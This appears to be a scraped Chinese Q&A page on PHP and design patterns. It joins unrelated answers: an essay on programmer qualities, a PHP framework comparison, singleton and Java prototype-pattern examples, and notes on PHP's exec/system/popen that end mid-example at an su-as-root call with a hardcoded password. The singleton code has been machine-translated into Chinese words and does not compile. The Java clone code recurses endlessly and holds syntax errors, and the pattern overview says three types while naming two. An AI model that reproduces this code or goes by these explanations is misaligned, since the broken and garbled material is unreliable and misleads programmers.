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php原型模式

发布时间:2022-08-15 06:41:13

‘壹’ 初学者用php做个客户与项目关系管理系统,但需求分析这一块弄的不好,望有经验师傅指导下~~

程序员是一种技术工作,在IT的发展中有相当重要的地位,从底层硬件通讯协议的建立, 到数据传输层的处理,到操作系统的建设,到数据库平台的建设,一直到应用层上各种数 据营销平台的搭建,程序员在里面都扮演着举足轻重的角色并为IT事业的发展做出了巨大 的贡献。

中国有很多精于编码的人,但是中国软件行业,尤其是网络应用开发方面误区很大,很难形成有规模的软件开发力量和产品能力,不但比美国差距甚远,和印度相比也是颇有不如。这些问题不是在于中国程序员的智商和工作努力状况,也不是在于国家和民间对开发的投入程度,而是很大程度上,有一些对技术,对程序开发,对项目设计方面的思想误区,这些误区,导致了软件行业的产品化能力不足,缺乏规模化和大型复用系统研发能力,可以说,改变认识误区,是解决软件行业小作坊模式和个体英雄模式所带来的局限性 的重要工作。

中国有很多小朋友,他们18,9岁或21,2岁,通过自学也写了不少代码,他们有的代码写的很漂亮,一些技术细节相当出众,也很有钻研精神,但是他们被一些错误的认识和观点左右,缺乏对系统,对程序的整体理解能力,这些人,一个网上的朋友说得很好,他们实际 上只是一些Coding fans,压根没有资格称为程序员,但是据我所知,不少小网络公司的 CTO就是这样的coding fans,拿着吓人的工资,做着吓人的项目,项目的结局通常也很吓 人。

程序员基本素质:

作一个真正合格的程序员,或者说就是可以真正合格完成一些代码工作的程序员,应该具 有的素质。

1:团队精神和协作能力

把它作为基本素质,并不是不重要,恰恰相反,这是程序员应该具备的最基本的,也是最重要的安身立命之本。把高水平程序员说成独行侠的都是在呓语,任何个人的力量都是有限的,即便如linus这样的天才,也需要通过组成强大的团队来创造奇迹,那些遍布全球的为linux写核心的高手们,没有协作精神是不可想象的。独行侠可以作一些赚钱的小软件发点小财,但是一旦进入一些大系统的研发团队,进入商业化和产品化的开发任务,缺 乏这种素质的人就完全不合格了。

2:文档习惯

说高水平程序员从来不写文档的肯定是乳臭未干的毛孩子,良好的文档是正规研发流程中 非常重要的环节,作为代码程序员,30%的工作时间写技术文档是很正常的,而作为高级 程序员和系统分析员,这个比例还要高很多。

缺乏文档,一个软件系统就缺乏生命力,在未来的查错,升级以及模块的复用时就都会遇 到极大的麻烦。

3:规范化,标准化的代码编写习惯

作为一些外国知名软件公司的规矩,代码的变量命名,代码内注释格式,甚至嵌套中行缩 进的长度和函数间的空行数字都有明确规定,良好的编写习惯,不但有助于代码的移植和 纠错,也有助于不同技术人员之间的协作。

有些coding fans叫嚣高水平程序员写的代码旁人从来看不懂,这种叫嚣只能证明他们自 己压根不配自称程序员。代码具有良好的可读性,是程序员基本的素质需求。

再看看整个linux的搭建,没有规范化和标准化的代码习惯,全球的研发协作是绝对不可 想象的。

4:需求理解能力

程序员需要理解一个模块的需求,很多小朋友写程序往往只关注一个功能需求,他们把性能指标全部归结到硬件,操作系统和开发环境上,而忽视了本身代码的性能考虑,有人曾经放言说写一个广告交换程序很简单,这种人从来不知道在百万甚至千万数量级的访问情况下的性能指标是如何实现的,对于这样的程序员,你给他深蓝那套系统,他也做不出太极链的并访能力。性能需求指标中,稳定性,并访支撑能力以及安全性都很重要,作为程序员需要评估该模块在系统运营中所处的环境,将要受到的负荷压力以及各种潜在的危险和恶意攻击的可能性。就这一点,一个成熟的程序员至少需要2到3年的项目研发和跟踪经 验才有可能有心得。

5:复用性,模块化思维能力

经常可以听到一些程序员有这样的抱怨,写了几年程序,变成了熟练工,每天都是重复写 一些没有任何新意的代码,这其实是中国软件人才最大浪费的地方,一些重复性工作变成 了熟练程序员的主要工作,而这些,其实是完全可以避免的。

复用性设计,模块化思维就是要程序员在完成任何一个功能模块或函数的时候,要多想一些,不要局限在完成当前任务的简单思路上,想想看该模块是否可以脱离这个系统存在,是否可以通过简单的修改参数的方式在其他系统和应用环境下直接引用,这样就能极大避免重复性的开发工作,如果一个软件研发单位和工作组能够在每一次研发过程中都考虑到这些问题,那么程序员就不会在重复性的工作中耽误太多时间,就会有更多时间和精力投 入到创新的代码工作中去。

一些好的程序模块代码,即便是70年代写成的,拿到现在放到一些系统里面作为功能模块 都能适合的很好,而现在我看到的是,很多小公司软件一升级或改进就动辄全部代码重 写,大部分重复性工作无谓的浪费了时间和精力。

程序员应具备的素质中

6:测试习惯

作为一些商业化正规化的开发而言,专职的测试工程师是不可少的,但是并不是说有了专职的测试工程师程序员就可以不进行自测;软件研发作为一项工程而言,一个很重要的特点就是问题发现的越早,解决的代价就越低,程序员在每段代码,每个子模块完成后进行认真的测试,就可以尽量将一些潜在的问题最早的发现和解决,这样对整体系统建设的效 率和可靠性就有了最大的保证。

测试工作实际上需要考虑两方面,一方面是正常调用的测试,也就是看程序是否能在正常调用下完成基本功能,这是最基本的测试职责,可惜在很多公司这成了唯一的测试任务,实际上还差的远那;第二方面就是异常调用的测试,比如高压力负荷下的稳定性测试,用户潜在的异常输入情况下的测试,整体系统局部故障情况下该模块受影响状况的测试,频发的异常请求阻塞资源时的模块稳定测试等等。当然并不是程序员要对自己的每段代码都需要进行这种完整测试,但是程序员必须清醒认识自己的代码任务在整体项目中的地位和各种性能需求,有针对性的进行相关测试并尽早发现和解决问题,当然这需要上面提到的 需求理解能力。

7:学习和总结的能力

程序员是人才很容易被淘汰,很容易落伍的职业,因为一种技术可能仅仅在三两年内具有 领先性,程序员如果想安身立命,就必须不断跟进新的技术,学习新的技能。

善于学习,对于任何职业而言,都是前进所必需的动力,对于程序员,这种要求就更加高 了。

但是学习也要找对目标,一些小coding fans们,他们也津津乐道于他们的学习能力,一会学会了asp,一会儿学会了php,一会儿学会了jsp,他们把这个作为炫耀的资本,盲目的追逐一些肤浅的,表面的东西和名词,做网络程序不懂通讯传输协议,做应用程序不懂中断向量处理,这样的技术人员,不管掌握了多少所谓的新语言,永远不会有质的提 高。

善于总结,也是学习能力的一种体现,每次完成一个研发任务,完成一段代码,都应当有 目的的跟踪该程序的应用状况和用户反馈,随时总结,找到自己的不足,这样逐步提高, 一个程序员才可能成长起来。

一个不具备成长性的程序员,即便眼前看是个高手,建议也不要选用,因为他落伍的时候 马上就到了。

具备以上全部素质的人,应当说是够格的程序员了,请注意以上的各种素质都不是由IQ决 定的,也不是大学某些课本里可以学习到的,需要的仅仅是程序员对自己工作的认识,是 一种意识上的问题。

那么作为高级程序员,以至于系统分析员,也就是对于一个程序项目的设计者而言,除了 应该具备上述全部素质之外,还需要具备以下素质:

第一,需求分析能力

对于程序员而言,理解需求就可以完成合格的代码,但是对于研发项目的组织和管理者, 他们不但要理解客户需求,更多时候还要自行制定一些需求,为什么这么说呢?

一般而言,进行研发任务,也许是客户提出需求,也许是市场和营销部门提出的需求,这时候对于研发部门,他们看到的不是一个完整的需求,通常而言,该需求仅仅是一些功能上的要求,或者更正规些,可能获得一个完整的用户视图;但是这都不够,因为客户由于非技术因素多一些,他们可能很难提出完整和清晰,或者说专业性的性能需求,但是对于项目组织者和规划者,他必须能够清醒认识到这些需求的存在并在完成需求分析报告的时候适当的提出,同时要完整和清晰的体现在设计说明书里面,以便于程序员编码时不会失 去这些准则。

程序设计者必须正确理解用户需求所处的环境,并针对性做出需求的分析,举例而言,同样一个软件通过ASP租用方式发布和通过License方式发布,性能需求可能就是有区别的,前者强调的是更好的支撑能力和稳定性,而后者则可能更强调在各种平台下的普适性和安 装使用的简捷性。

第二,项目设计方法和流程处理能力

程序设计者必须能够掌握不少于两到三种的项目设计方法(比如自顶至下的设计方法,比 如快速原型法等等),并能够根据项目需求和资源搭配来选择合适的设计方法进行项目的 整体设计。

设计方法上选择不当,就会耽误研发周期,浪费研发资源,甚至影响研发效果。

一个程序设计者还需要把很多功夫用在流程图的设计和处理上,他需要做数据流图以确立 数据词典;他需要加工逻辑流图以形成整体的系统处理流程。

一个流程有问题的系统,就算代码多漂亮,每个模块多精致,也不会成为一个好的系统。 当然,做好流程分析并选择好项目设计方法,都需要在需求分析能力上具有足够的把 握。

第三,复用设计和模块化分解能力

这个似乎又是老调重谈,前面基本素质上不是已经说明了这个问题吗?

作为一个从事模块任务的程序员,他需要对他所面对的特定功能模块的复用性进行考虑,而作为一个系统分析人员,他要面对的问题复杂的多,需要对整体系统按照一种模块化的分析能力分解为很多可复用的功能模块和函数,并针对每一模块形成一个独立的设计需求。举个例子,好比是汽车生产,最早每辆汽车都是独立安装的,每个部件都是量身定做的,但是后来不一样了,机器化大生产了,一个汽车厂开始通过流水线来生产汽车,独立部件开始具有一定的复用性,在后来标准化成为大趋势,不同型号,品牌甚至不同厂商的汽车部件也可以进行方便的换装和升级,这时候,汽车生产的效率达到最大化。软件工程也是同样的道理,一个成熟的软件行业,在一些相关项目和系统中,不同的部件是可以随意换装的,比如微软的许多桌面软件,在很多操作模块(如打开文件,保存文件等等)都是复用的同一套功能模块,而这些接口又通过一些类库提供给了桌面应用程序开发者方便 挂接,这就是复用化的模块设计明显的一个佐证。

将一个大型的,错综复杂的应用系统分解成一些相对独立的,具有高度复用性的,并能仅 仅依靠几个参数完成数据联系的模块组合,是作为高级程序员和系统分析员一项最重要的 工作,合适的项目设计方法,清晰的流程图,是实现这一目标的重要保证。

第四,整体项目评估能力

作为系统设计人员,必须能够从全局出发,对项目又整体的清醒认识,比如公司的资源配置是否合理和到位,比如工程进度安排是否能最大化体现效率又不至于无法按期完成。评估项目整体和各个模块的工作量,评估项目所需的资源,评估项目可能遇到的困难,都需要大量的经验积累,换言之,这是一种不断总结的累计才能达到的境界。在西方一些软件系统设计的带头人都是很年长的,比如4,50岁,甚至更老,他们在编码方面已经远远不如年轻人那样活络,但是就项目评估而言,他们几十年的经验积累就是最重要和宝贵的财富。中国缺这么一代程序员,主要还不是缺那种年纪的程序员,而是那种年纪的程序员基本上都是研究单位作出来的,都不是从专业的产品化软件研发作出来的,他们没有能积累 那种产品化研发的经验,这也是没有办法的事情。

程序员应具备的素质下

第五,团队组织管理能力

完成一个项目工程,需要团队的齐心协力,作为项目设计者或研发的主管人,就应当有能 力最大化发挥团队的整体力量,技术管理由于其专业性质,不大同于一般的人事管理,因 为这里面设计了一些技术性的指标和因素。

首先是工作的量化,没有量化就很难做到合适的绩效考核,而程序量化又不是简单的代码 行数可以计算的,因此要求技术管理人员需要能真正评估一个模块的复杂性和工作量。

其次是对团队协作模式的调整,一般而言,程序开发的协作通常分为小组进行,小组有主 程序员方式的,也有民主方式的,根据程序员之间的能力水平差距,以及根据项目研发的 需求,选择合适的组队方式,并能将责权和成员的工作任务紧密结合,这样才能最大发挥 组队的效率。

一个代码水平高的人,未必能成为一个合格的项目研发主管,这方面的能力欠缺往往是容 易被忽视的。

综上可以看到,作为一个主管研发的负责人,一个项目设计者,所需要具备的素质和能力并不是程序代码编写的能力,当然一般情况下,一个程序员通过不断的总结提高达到了这种素质的时候,他所具有的代码编写能力也已经相当不简单了,但是请注意这里面的因果关系,一个高水平的项目设计者通常已经是代码编写相当优秀的人了,但是并不是一个代码相当优秀的程序员就可以胜任项目设计的工作,这里面存在的也不是智商和课本的问题,还是在于一个程序员在积累经验,逐步提升的时候没有意识到应当思考哪方面的东西,没有有意识的就项目的组织和复用设计进行揣摩,没有经常性的文档习惯和总结习 惯,不改变这些,我们的合格的项目设计者还是非常欠缺。

另外,为防止有无聊的人和我较真,补充一点,本文针对目标是作商业化的软件项目和工程,那些科研机构的编程高手,比如算法高手,比如图象处理高手,他们的工作是研究课题而非直接完成商业软件(当然最终间接成为商业产品,比如微软研究院在作的研究课题),因此他们强调的素质可能是另外的东西,这些人(专家),并不能说是程序员,不 能用程序员的标准去衡量。

最后补充一点东西,一个软件项目研发的设计流程是怎样的呢?以通常标准的设计方法为 例,(不过笔者喜欢快速原型法)。

第一个步骤是市场调研,技术和市场要结合才能体现最大价值。

第二个步骤是需求分析,这个阶段需要出三样东西,用户视图,数据词典和用户操作手 册。

用户视图是该软件用户(包括终端用户和管理用户)所能看到的页面样式,这里面包含了 很多操作方面的流程和条件。

数据词典是指明数据逻辑关系并加以整理的东东,完成了数据词典,数据库的设计就完成 了一半多。

用户操作手册是指明了操作流程的说明书。

请注意,用户操作流程和用户视图是由需求决定的,因此应该在软件设计之前完成,完成 这些,就为程序研发提供了约束和准绳,很遗憾太多公司都不是这样做的,因果颠倒,顺 序不分,开发工作和实际需求往往因此产生隔阂脱节的现象。

需求分析,除了以上工作,笔者以为作为项目设计者应当完整的做出项目的性能需求说明 书,因为往往性能需求只有懂技术的人才可能理解,这就需要技术专家和需求方(客户或 公司市场部门)能够有真正的沟通和了解。

第三个步骤是概要设计,将系统功能模块初步划分,并给出合理的研发流程和资源要求。作为快速原型设计方法,完成概要设计就可以进入编码阶段了,通常采用这种方法是因为涉及的研发任务属于新领域,技术主管人员一上来无法给出明确的详细设计说明书,但是并不是说详细设计说明书不重要,事实上快速原型法在完成原型代码后,根据评测结果和 经验教训的总结,还要重新进行详细设计的步骤。

第四个步骤是详细设计,这是考验技术专家设计思维的重要关卡,详细设计说明书应当把具体的模块以最’干净’的方式(黑箱结构)提供给编码者,使得系统整体模块化达到最大;一份好的详细设计说明书,可以使编码的复杂性减低到最低,实际上,严格的讲详细设计说明书应当把每个函数的每个参数的定义都精精细细的提供出来,从需求分析到概要设计到完成详细设计说明书,一个软件项目就应当说完成了一半了。换言之,一个大型软 件系统在完成了一半的时候,其实还没有开始一行代码工作。

那些把作软件的程序员简单理解为写代码的,就从根子上犯了错误了。

第五个步骤是编码,在规范化的研发流程中,编码工作在整个项目流程里最多不会超过1/ 2,通常在1/3的时间,所谓磨刀不误砍柴功,设计过程完成的好,编码效率就会极大提高,编码时不同模块之间的进度协调和协作是最需要小心的,也许一个小模块的问题就可能影响了整体进度,让很多程序员因此被迫停下工作等待,这种问题在很多研发过程中都出现过。编码时的相互沟通和应急的解决手段都是相当重要的,对于程序员而言,bug永远存在,你必须永远面对这个问题,大名鼎鼎的微软,可曾有连续三个月不发补丁的时候 吗?从来没有!

第六个步骤是测试

测试有很多种:

按照测试执行方,可以分为内部测试和外部测试

按照测试范围,可以分为模块测试和整体联调

按照测试条件,可以分为正常操作情况测试和异常情况测试

按照测试的输入范围,可以分为全覆盖测试和抽样测试

以上都很好理解,不再解释。

总之,测试同样是项目研发中一个相当重要的步骤,对于一个大型软件,3个月到1年的外 部测试都是正常的,因为永远都会又不可预料的问题存在。

完成测试后,完成验收并完成最后的一些帮助文档,整体项目才算告一段落,当然日后少 不了升级,修补等等工作,只要不是想通过一锤子买卖骗钱,就要不停的跟踪软件的运营 状况并持续修补升级,知道这个软件被彻底淘汰为止。

写这些步骤算不上卖弄什么,因为实话讲我手边是一本《软件工程》,在大学里这是计算机专业的必修课程,但是我知道很多程序员似乎从来都只是热衷于什么《30天精通VC》之类的,他们有些和我一样游击队出身,没有正规学过这个专业,还有一些则早就在混够学 分后就把这些真正有用的东西还给了老师。

网上现在也很浮躁,一些coding fans乱嚷嚷,混淆视听,实际上真正的技术专家很少在网上乱发帖子的,如笔者这样不知天高地厚的,其实实在是算不上什么高手,只不过看不惯这种对技术,对程序员的误解和胡说,只好挺身而出,做拨乱反正之言,也希望那些还 沉迷于一些错误人士的coding fans们能认真想想,走到正途上,毕竟那些聪明的头脑还 远远没有发挥应有的价值。

‘贰’ PHP中的各种框架

CodeIgniter、CakePHP、ZendFramework、Symfony这几个是国外的,你可以参考下http://www.isstudy.com
CodeIgniter
优点:
1. 配置简单,全部的配置使用PHP脚本来配置,执行效率高;具有基本的路由功能,能够进行一定程度的路由;具有初步的Layout功能,能够制作一定程度的界面外观;数据库层封装的不错,具有基本的MVC功能
2. 快速简洁,代码不多,执行性能高,框架简单,容易上手,学习成本低,文档详细;自带了很多简单好用的library,框架适合小型应用
缺点:
1. 把Model层简单的理解为数据库操作
2. 框架略显简单,只能够满足小型应用,略微不太能够满足中型应用需要
评价:
总体来说,拿CodeIgniter来完成简单快速的应用还是值得,同时能够构造一定程度的layout,便于模板的复用,数据操作层来说封装的不错,并且CodeIgniter没有使用很多太复杂的设计模式,执行性能和代码可读性上都不错。至于附加的 library 也还不错,简洁高效。
CakePHP
优点:
1. CakePHP是最类似于RoR的框架,包括设计方式,数据库操作的Active Record方式;设计层面很优雅,没有自带多余的 library,所有的功能都是纯粹的框架,执行效率还不错;数据库层的 hasOne, hasMany 功能很强大,对于复杂业务处理比较合适;路由功能,配置功能还不错;自动构建脚手架(scaffold)很强大;适合中型应用;基本实现过了MVC每一层;具有自动操作命令行脚本功能;
2. 文档比较全,在国内推广的比较成功,大部分都知道CakePHP,学习成本中等
缺点:
1. CakePHP非常严重的问题是把Model理解为数据库层操作,严重影响了除了数据库之外的操作能力
2. CakePHP的cache功能略显薄弱,配置功能稍嫌弱;CakePHP不适合大型应用,只适合中型应用,小型应用来说略微的学习成本高了点
评价:
总体来说CakePHP框架代表了PHP框架很重要的一个时代和代表,并且目前发挥着很重要的作用,不少自己写的框架都模仿了CakePHP的方式,是个里程碑式的产品;CakePHP透露着RoR的敏捷开发方式和把数据库操作认为是唯一Model的设计思想,作为开发快速应用和原型是绝好的工具;同样,用来做Web2.0网站的开发框架,也是值得选择的。
【 Zend Framework 】
优点:
1. 官方出品,自带了非常多的 library,框架本身使用了很多设计模式来编写,架构上很优雅,执行效率中等;MVC设计中,比较简洁,具有路由功能,配置文件比较强大(能够处理 XML和php INI),各种 library 很强大,是所有PHP框架中各种功能最全面的,包括它不仅是一个框架,更是一个大类库(取代PEAR),这是它的主要特色;能够直观的支持除数据库操作之外的Model层(比 CodeIgniter 和 CakePHP 强),并且能够很轻易的使用Loader功能加载其他新增加的Class;Cache功能很强大,从前端Cache到后端Cache都支持,后端 Cache支持Memcache、APC、SQLite、文件等等方式;数据库操作功能很强大,支持各种驱动(适配器)
2. 文档很全,在国内社区很成熟,并且目前不少Web 2.0网站在使用,学习成本中等
缺点:
1. MVC功能完成比较弱,View层简单实现(跟没实现一样),无法很强大的控制前端页面
2. 没有自动化脚本,创建一个应用,包括入口文件,全部必须自己手工构建,入门成本高
3. Zend Framework 作为一个中型应用框架问题不大,也能够勉强作为大型应用的框架,但是作为一个很成熟的大型PHP框架来说,还需要一些努力
评价:
作为官方出品的框架,Zend Framework的野心是可以预见的,想把其他框架挤走,同时封装很多强大的类库,能够提供一站式的框架服务,并且他们的开发团队很强大,完全足够有能力开发很强大的产品出来,所以基本可以确定的是Zend Framework前途无量,如果花费更多的时间去完善框架。同样的,Zend Framework架构本身也是比较优雅的,说明Zend官方是有很多高手的,设计理念上比较先进,虽然有一些功能实现的不够完善,比如View层,自动化脚本等等,这些都有赖于未来的升级。总体来说Zend Framework是最值得期待的框架,当然,你目前要投入你的项目中使用也是完全没问题的。
【 Symfony 】
优点:
1. Symfony 是我了解的PHP框架中功能最强大的,而且我使用时间比较长,但是很多功能还是没有挖掘出来;它完整实现了MVC三层,封装了所有东西,包括 $_POST,$_GET 数据,异常处理,调试功能,数据检测;包含强大的缓存功能,自动加载Class(这个功能很爽),强大的i18n国家化支持;具有很强大的view层操作,能够零碎的包含单个多个文件;非常强大的配置功能,使用yml配置能够控制所有框架和程序运行行为,强大到让人无语;能够很随意的定义各种自己的 class,并且symfony能够自动加载(auto load)这些class,能够在程序中随意调用;包含强大的多层级项目和应用管理:Project --> Application --> Mole --> Action,能够满足一个项目下多个应用的需要,并且每层可以定义自己的类库,配置文件,layout;非常强大的命令行操作功能,包括建立项目、建立应用、建立模块、刷新缓存等等;
2. Symfony绝对是开发大型复杂项目的首选,因为使用了Symfony,将大大节约开发成本,并且多人协作的时候,不会出现问题,在Project级别定义好基础Class以后,任何模块都能够重用,大大复用代码
缺点:
1. 数据库操作model采用了重量级的propel和creole,不过在我测试的版本中已经把他们移到了addon里,可用可不用
2. 缓存功能无法控制,每次开发调试总是缓存,需要执行 symfony cc, symfony rc 来清除和重建缓存;
3. 效率不是很高,特别是解析模板和读取配置文件的过程,花费时间不少;
4. 学习成本很高,并且国内没有成熟的社区和文档,连中文手册都没有,相应的要掌握所有功能,需要花费比较多的时间
评价:
Symfony绝对是企业级的框架,唯一能够貌似能够跟java领域哪些强悍框架抗衡的东西;强悍的东西,自然学习复杂,但是相应的对项目开发也比较有帮助,自然是推荐复杂的项目使用Symfony来处理,觉得是值得,后期的维护成本比较低,复用性很强。相应的如果使用Symfony的应该都是比较复杂的互联网项目,那么相应的就要考虑关于数据库分布的问题,那么就需要抛弃Symfony自带的数据库操作层,需要自己定义,当然了,Symfony支持随意的构造model层。
【 总评 】
以上数款框架,各有特色,而且都是开源项目,不过框架针对的项目不一样,一般来说 CodeIngiter 比较适合小型项目,CakePHP 和 Zend Framework 比较适合中型项目,Symfony 比较适合大型重量级项目,在项目选型的时候,要充分考虑框架的可以定制性、扩展性,因为每个项目都无法确定你是否会随着需求的变化进行改变。
相对来说,Zend Framework 和 Symfony 应对变化的能力比较强,特别是能够随意定制 model 层的Class,能够非常方便增加自己业务或者数据处理类,我是个人比较推荐在中大型项目中使用的框架。CodeIngiter 和 CakePHP 在中小型项目中同样能够发挥重大作用,快速开发和原型构建,非常适合目标不清晰的原型项目的开发。了解一个框架最好的方式就是使用它,学习它最好的方式就是看视频。
仁者见仁,智者见智,在项目挑选框架的时候,请先认真考察项目的需求和未来的变化,然后选择合适的框架,让项目开发速度和后期维护性得到一个合理的平衡,当然了,也许,自己写一个框架更适合。

‘叁’ 你熟悉的设计模式有哪些写出单例模式的实现代码

23个设计模式:

根据目的设计模式可以分为创造模式,结构模式和行为模式,创建模式用于处理对象的创建。结构模式用于处理类或对象的组合。

行为模式用于描述类或对象如何交互以及如何分配职责,创建模式用于处理对象的创建。主要包括以下五种设计模式:

工厂方法模式()

抽象工厂模式(AbstractFactoryPattern)

建造者模式(BuilderPattern)

原型模式(PrototypePattern)

单例模式(SingletonPattern)

结构模式用于处理类或对象的组合,包括以下七个设计模式:

适配器模式(AdapterPattern)

桥接模式(BridgePattern)

组合模式(CompositePattern)

装饰者模式(DecoratorPattern)

外观模式(FacadePattern)

享元模式(FlyweightPattern)

代理模式(ProxyPattern)

行为模式描述类或对象如何交互以及它们如何分配职责。它由以下11种设计模式组成:

责任链模式(Chain的ResponsibilityPattern)

命令模式(CommandPattern)

解释器模式(InterpreterPattern)

迭代器模式(IteratorPattern)

中介者模式(MediatorPattern)

备忘录模式(MementoPattern)

观察者模式(ObserverPattern)

状态模式(StatePattern)

策略模式(StrategyPattern)

模板方法模式(TemplateMethodPattern)

访问者模式(VisitorPattern)

单例模式实现1:

公共类Singleton{

类共享实例对象

私有静态单例;单例=零;

//私有构造函数

私有Singleton(){

系统。出去了。这是单例!!);

//获取单例方法

公共同步静态单例getInstance(){

//确定共享对象是否为空,如何空一个新对象

If(singleton==null){

singleton=newsingleton();

返回单例。

单例模式实现2:

公共类Singleton{

类共享实例对象实例化

=newSingleton();

//私有构造函数

私有Singleton(){

系统:出去了,这是单例!!);

//获取单例方法

公共静态单例getInstance(){

直接返回共享对象

返回单例。

(3)php原型模式扩展阅读:

注意事项:

设计模式主要分三个类型:创建型和行为型。

Singleton:确保一个类只有一个实例,并为其提供一个全局访问点

AbstractFactory:提供一个接口,用于创建一系列相关或相互依赖的对象,而无需指定它们的具体类。

FactoryMethod:定义一个用于创建对象的接口,并让子类决定实例化哪个类。工厂方法将类的实例化延迟到子类。

Builder:将复杂对象的构造与其表示分离,使相同的构造过程可以创建不同的表示。

Prototype:指定要使用Prototype实例创建的对象的类型,并复制该原型来创建一个新对象。

Composite:将对象组合成树状结构,以表示整体各部分之间的关系。组合使用户一致地使用单个对象和组合对象。

Facade:为子系统fa中的一组接口提供一致的接口。Ade提供了一个高级接口,使子系统更易于使用。

Proxy:为其他对象提供一个代理,以控制对该对象的访问

Adapter:将一个接口类转换为客户想要的另一个接口类。适配器模式使那些由于接口不兼容而无法一起工作的类一起工作。

Decrator:式比子类化更灵活,可以为对象动态添加一些额外的职责。

Bridge:模式将抽象部分与其实现部分分离,以便它们可以独立地更改。

Flyweight:享元模式

‘肆’ php实现原型模式中深拷贝是什么意思

找工作之前制作简历时,需要做很多份简历,而且简历的格式是一样的,也就意味着要做很多重复性的工作。在编程过程中,遇到重复性工作多的时候,粘贴复制是最快的解决办法。但是一旦这些代码需要修改时,那么每一处用到这段代码的地方都需要进行修改,这也就增加了代码维护工作。在学习VB的时候,我们总是把相同的代码放在模块中,然后用到这段代码的地方就调用模块,这样的话耦合性又是比较大的。那么,解决这个问题到底该怎么办呢?

设计模式中的原型模式就很好的解决了这个问题。原型模式是用原型实例指定创建对象的种类,并且通过拷贝这些原型创建的对象。

也就是说,先生成一份模板,然后其余的对象都去拷贝这份模板,那么得到的对象就都是一样的了。

下面小编就以简历复制为例子,简单介绍原型模式:
[java] view plain print?
<span style="font-family:KaiTi_GB2312;font-size:18px;"><span style="font-family:KaiTi_GB2312;font-size:18px;">//工作经历类
class WorkExperience {
public String workDate;
public String company;
}

//简历类
class Resume implements Cloneable{
private String name;
private String sex;
private String age;

private WorkExperience work;

public Resume(String name){
this.name=name;
work=new WorkExperience;
}

//设置个人信息
public void SetPersonalInfo(String sex,String age){
this.sex=sex;
this.age=age;
}

//设置工作经历
public void SetWorkExperience(String workDate,String company){
work.workDate=workDate;
work.company=company;
}

public Object Clone(){
return this.Clone();
}
}

//客户端
class WorkResume{
public static void main(String[] args){
Resume a =new Resume("张三");
a.SetPersonalInfo("男","20");
a.SetWorkExperience("1998~2000","XX公司");
Resume b=(Resume)a.Clone();
b.SetWorkExperience("2000~2006","YY公司");
}
}</span></span>
这样设置完成之后得到的结果却是两条信息是一样的,而且工作经历都是最新的这一条。

做代码的内存分析,可得到如下图:

即a、b两个对象指向的是同一块内存,也就是说b在进行修改时,a的信息也会被修改,这也就是原型模式的浅复制。浅复制的意思就是说,只把对象a的引用复制给b,二者指向同一区域,当一个修改时,会影响另一个对象。

对代码进行修改,将工作经历类改为:
[java] view plain print?
<span style="font-family:KaiTi_GB2312;font-size:18px;"><span style="font-family:KaiTi_GB2312;font-size:18px;">//工作经历类
class WorkExperience implements Cloneable{
private String workDate;
private String company;

public Object Clone(){
WorkExperience obj=new WorkExperience();
obj.workDate=this.workDate;
obj.company=this.company;
return obj;
}
}</span></span>

将简历类中的Clone方法改为:
[java] view plain print?
<span style="font-family:KaiTi_GB2312;font-size:18px;"><span style="font-family:KaiTi_GB2312;font-size:18px;"> public Object Clone(){
Resume obj=new Resume(this.work);
obj.name=this.name;
obj.sex=this.sex;
obj.age=this.age;
return obj;
}</span></span>

并且在简历类中添加私有构造方法:
[java] view plain print?
<span style="font-family:KaiTi_GB2312;font-size:18px;"><span style="font-family:KaiTi_GB2312;font-size:18px;"> private Resume(WorkExperience work){
this.work=(WorkExperience)work.Clone();
} </span></span>
则得到的结果就是我们想要的结果了。

对新代码进行内存分析,如下图:

到此为止,原型模式的深浅复制就介绍完了,如果有什么理解不到位的地方,欢迎广大读者给出指导。

总结

深浅复制其实不难,只要把内存分析搞懂了就好了。浅复制是把一个对象的引用复制给另一个对象,二者对同一块内存区域进行操作,类似于参数传递中的传址。而深复制则是把原型对象的内存区域也复制一份给拷贝对象,二者各自拥有自己的引用,各自操作自己的内存区域,互不影响,类似于参数传递中的传值。

‘伍’ 什么是PHP系统外部命令

在打开文件时有些限制
连接MySQL数据库
基于HTTP的认证
在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_exec_dir指令,或在编译PHP是加上--with-exec-dir选项来指定,默认是/usr/local/php/bin。
如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的却是一片空白,那么很可能你的网管已经把PHP运行在安全模式下了。

‘陆’ PHP运行EXEC文件

在PHP中调用外部命令,可以用如下三种方法来实现:
1) 用PHP提供的专门函数

PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。
system()
原型:string
system (string command [, int return_var])

system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
例子:

复制代码
代码如下:

<?php

system("/usr/local/bin/webalizer/webalizer");
?>

exec()

原型:string exec (string command [, string array [, int return_var]])
exec
()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array
可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二
个参数时,才可以用第三个参数,用来取得命令执行的状态码。
例子:

复制代码
代码如下:

<?php
exec("/bin/ls -l");

exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>

passthru()
原型:void passthru (string command [, int
return_var])
passthru
()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus
(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
例子:

复制代码
代码如下:

<?php
header("Content-type:
image/gif");
passthru("./ppmtogif hunte.ppm");
?>

2)
用popen()函数打开进程

上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。

popen
()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一
的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭 它。

例子1:

复制代码
代码如下:

<?php
$fp=popen("/bin/ls -l", "r");

?>

例子2:

复制代码
代码如下:

<?php
/* PHP中如何增加一个系统用户

下面是一段例程,增加一个名字为james的用户,
root密码是 verygood。仅供参考
*/
$sucommand =
"su --login root --command";
